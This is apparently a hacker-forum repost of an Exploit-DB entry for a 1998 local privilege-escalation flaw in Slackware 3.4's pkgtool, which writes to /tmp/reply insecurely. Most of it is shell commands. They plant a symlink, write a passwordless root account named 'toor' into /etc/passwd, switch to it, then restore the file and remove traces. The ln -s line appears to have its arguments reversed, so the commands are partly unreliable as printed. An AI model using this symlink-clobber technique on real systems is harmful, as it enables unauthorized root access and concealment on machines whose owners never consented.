Exploit Slackware Linux 3.4 - 'pkgtool' Temporary File

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
19074
Проверка EDB
  1. Пройдено
Автор
NEONHAZE
Тип уязвимости
LOCAL
Платформа
LINUX
CVE
cve-1999-1498
Дата публикации
1998-04-06
Код:
source: https://www.securityfocus.com/bid/82/info

pkgtool creates the file /tmp/reply insecurely and follows symbolic links. An attacker can create a symbolic link from /tmp/reply to any file and wait for root to run the program. This will clober the target file.
The file created has permissions -rw-rw-rw-.

$ cp /etc/passwd /tmp/passwd
$ ln -s /tmp/reply /etc/passwd
< wait for root to run pkgtool >
$ echo toor::0:0::/:/bin/sh > /etc/passwd
$ su - toor
# cp /tmp/passwd /etc/passwd
# rm /tmp/reply /tmp/passwd
 
Источник
www.exploit-db.com

Похожие темы